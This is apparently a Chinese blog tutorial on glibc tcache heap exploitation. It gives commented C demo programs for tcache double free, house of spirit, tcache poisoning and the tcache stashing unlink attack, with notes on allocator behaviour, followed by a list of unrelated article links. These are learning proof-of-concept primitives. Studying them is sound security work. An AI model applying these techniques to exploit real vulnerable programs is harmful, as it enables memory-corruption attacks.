PWN:Tcache Attack原理
ubuntu 18.04 下测试
tcache介绍
源码看不动,说一下通过实验得到的:
同一大小的 chunk free 之后前 7 个会放到一个 tcache 链表里面,不同大小的放在不同的链表中
最大能放 0x408 的,再大就要按照原本的那样放到 unsortedbin 中了
程序再次申请内存块的时候首先判断在 tchche 中是否存在,如果存在的话会先从 tcache 中拿
tcache_dup
#include <stdio.h>
#include <stdlib.h>
int main()
{
fprintf(stderr, "先申请一块内存n");
int *a = malloc(8);
fprintf(stderr, "申请的内存地址是: %pn", a);
fprintf(stderr, "对这块内存地址 free两次n");
free(a);
free(a);
fprintf(stderr, "这时候链表是这样的 [ %p, %p ].n", a, a);
fprintf(stderr, "接下来再去 malloc 两次: [ %p, %p ].n", malloc(8), malloc(8));
fprintf(stderr, "ojbkn");
return 0;
}
gcc -g tcache_dup.c
运行之后的结果:
一开始申请了 0x8 大小的 chunk,后来 free了两次
然后再去申请的话也会申请这俩在 tcache 中的,所以后面输出的 malloc 的地址还是一样的
tcache_house_of_spirit
#include <stdio.h>
#include <stdlib.h>
int main()
{
malloc(1);
unsigned long long *a;
unsigned long long fake_chunks[10];
fprintf(stderr, "fake_chunks[1] 在 %pn", &fake_chunks[1]);
fprintf(stderr, "fake_chunks[1] 改成 0x40 n");
fake_chunks[1] = 0x40;
fprintf(stderr, "把 fake_chunks[2] 的地址赋给 a, %p.n", &fake_chunks[2]);
a = &fake_chunks[2];
fprintf(stderr, "free 掉 an");
free(a);
fprintf(stderr, "再去 malloc(0x30),在可以看到申请来的结果在: %pn", malloc(0x30));
fprintf(stderr, "ojbkn");
}
然后把数组的 index2 的地址赋给了 a,之后去 free a,再去申请回来的话就会把 a 申请回来,这样就申请了 fake chunks[2] 那里
tcache_poisoning
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
int main()
{
setbuf(stdin, NULL);
setbuf(stdout, NULL);
size_t stack_var;
printf("定义了一个变量 stack_var,我们想让程序 malloc 到这里 %p.n", (char *)&stack_var);
printf("接下来申请两个 chunkn");
intptr_t *a = malloc(128);
printf("chunk a 在: %pn", a);
intptr_t *b = malloc(128);
printf("chunk b 在: %pn", b);
printf("free 掉这两个 chunkn");
free(a);
free(b);
printf("现在 tcache 那个链表是这样的 [ %p -> %p ].n", b, a);
printf("我们把 %p 的前 %lu 字节(也就是 fd/next 指针)改成 stack_var 的地址:%p", b, sizeof(intptr_t), &stack_var);
b[0] = (intptr_t)&stack_var;
printf("现在 tcache 链表是这样的 [ %p -> %p ].n", b, &stack_var);
printf("然后一次 malloc : %pn", malloc(128));
printf("现在 tcache 链表是这样的 [ %p ].n", &stack_var);
intptr_t *c = malloc(128);
printf("第二次 malloc: %pn", c);
printf("ojbkn");
return 0;
}
把 b 的 fd 指针改成那个变量地址
这时候 tcache 的链表是这样的
然后连续申请两个 chunk,来看一下申请到的地址是啥样的
tcache_stashing_unlink_attack
#include <stdio.h>
#include <stdlib.h>
int main(){
unsigned long stack_var[0x10] = {0};
unsigned long *chunk_lis[0x10] = {0};
unsigned long *target;
unsigned long *pp;
fprintf(stderr, "stack_var 是我们希望分配到的地址,我们首先把 &stack_var[2] 写到 stack_var[3] 来绕过 glibc 的 bck->fd=bin(即 fake chunk->bk 应该是一个可写的地址)n");
stack_var[3] = (unsigned long)(&stack_var[2]);
fprintf(stderr, "修改之后 fake_chunk->bk 是:%pn",(void*)stack_var[3]);
fprintf(stderr, "stack_var[4] 的初始值是:%pn",(void*)stack_var[4]);
fprintf(stderr, "现在申请 9 个 0x90 的 chunkn");
for(int i = 0;i < 9;i++){
chunk_lis[i] = (unsigned long*)malloc(0x90);
}
fprintf(stderr, "先释放 6 个,这 6 个都会放到 tcache 里面n");
for(int i = 3;i < 9;i++){
free(chunk_lis[i]);
}
fprintf(stderr, "接下来的释放的三个里面第一个是最后一个放到 tcache 里面的,后面的都会放到 unsortedbin 中n");
free(chunk_lis[1]);
//接下来的就是放到 unsortedbin 了
free(chunk_lis[0]);
free(chunk_lis[2]);
fprintf(stderr, "接下来申请一个大于 0x90 的 chunk,chunk0 和 chunk2 都会被整理到 smallbin 中n");
malloc(0xa0);//>0x90
fprintf(stderr, "然后再去从 tcache 中申请两个 0x90 大小的 chunkn");
malloc(0x90);
malloc(0x90);
fprintf(stderr, "假设有个漏洞,可以把 victim->bk 的指针改写成 fake_chunk 的地址: %pn",(void*)stack_var);
chunk_lis[2][1] = (unsigned long)stack_var;
fprintf(stderr, "现在 calloc 申请一个 0x90 大小的 chunk,他会把一个 smallbin 里的 chunk0 返回给我们,另一个 smallbin 的 chunk2 将会与 tcache 相连.n");
pp = calloc(1,0x90);
fprintf(stderr, "这时候我们的 fake_chunk 已经放到了 tcache bin[0xa0] 这个链表中,它的 fd 指针现在指向下一个空闲的块: %p, bck->fd 已经变成了 libc 的地址: %pn",(void*)stack_var[2],(void*)stack_var[4]);
target = malloc(0x90);
fprintf(stderr, "再次 malloc 0x90 可以看到申请到了 fake_chunk: %pn",(void*)target);
fprintf(stderr, "ojbkn");
return 0;
}
是 chunk0,0x555555757390 是 chunk2
这时候去申请一个 0xa0 大小的 chunk,那俩在 unsorted bin 中的 chunk 整理放在了 small bin 中
再去申请两个 0x90 大小的会从 tcache bin 中分配,这时候 tcache 还剩 5 个
然后把 chunk2 的 bk 改成 &stack_var,在一开始是这样的
改后:
另外此时的 bins
使用 calloc 去申请 0x90 大小的 chunk 会把 0x555555757250 申请出去,这时候如果 tcachebin 还有空闲的位置,剩下的 smallbin 从最后一个 0x7fffffffddc0 开始顺着 bk 链接到 tcachebin 中
参考:
https://dayjun.top/2020/02/07/smallbin在unlink的时候存在的漏洞/
tcache 是后进先出的,所以这时候再去申请就拿到了 0x7fffffffddc0 这个地址的 chunk
- 关于CPU漏洞Spectre的详细分析
- 17.2 准备工作
- 克隆虚拟机的注意点
- keepalived+nginx搭建高可用(注意点)
- 我的WCF之旅(10):如何在WCF进行Exception Handling
- 安装nginx出现的问题
- 18.11 LVS DR模式搭建
- Linux基础(day64)
- 我的WCF之旅(9):如何在WCF中使用tcpTrace来进行Soap Trace
- 物联网设备已沦陷,咖啡机也不能例外
- 我的WCF之旅(13):创建基于MSMQ的Responsive Service
- 开发自己的Data Access Application Block[上篇]
- 18.9/18.10 LVS NAT模式搭建
- 谈谈WCF中的Data Contract (1):Data Contract Overview
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法
- 【每日一题】【vue2源码学习】VUE中模版编译原理
- 【每日一题】【vue2源码学习】对VUE响应式数据的理解
- ApacheCN 深度学习译文集 2020.9
- 当Docker遇到Intellij IDEA,再次解放了生产力~
- 基于NPOI的Excel导入导出类库
- 在tinycolinux32上装tinycolinux64 kernel和toolchain
- 通过链下签名授权实现更少 Gas 的 ERC20代币
- 在dbcolinux上安装cozy-light
- 在群晖docker上装elmlang可视调试编码器ellie
- Elasticsearch:inverted index,doc_values及source
- 在群晖docker上构建私有云IDE和devops构建链
- 小白学PyTorch | 14 tensorboardX可视化教程
- Apache Solr 漏洞复现
- Elasticsearch rollover API
- 重发和重定向有什么区别与重定向应用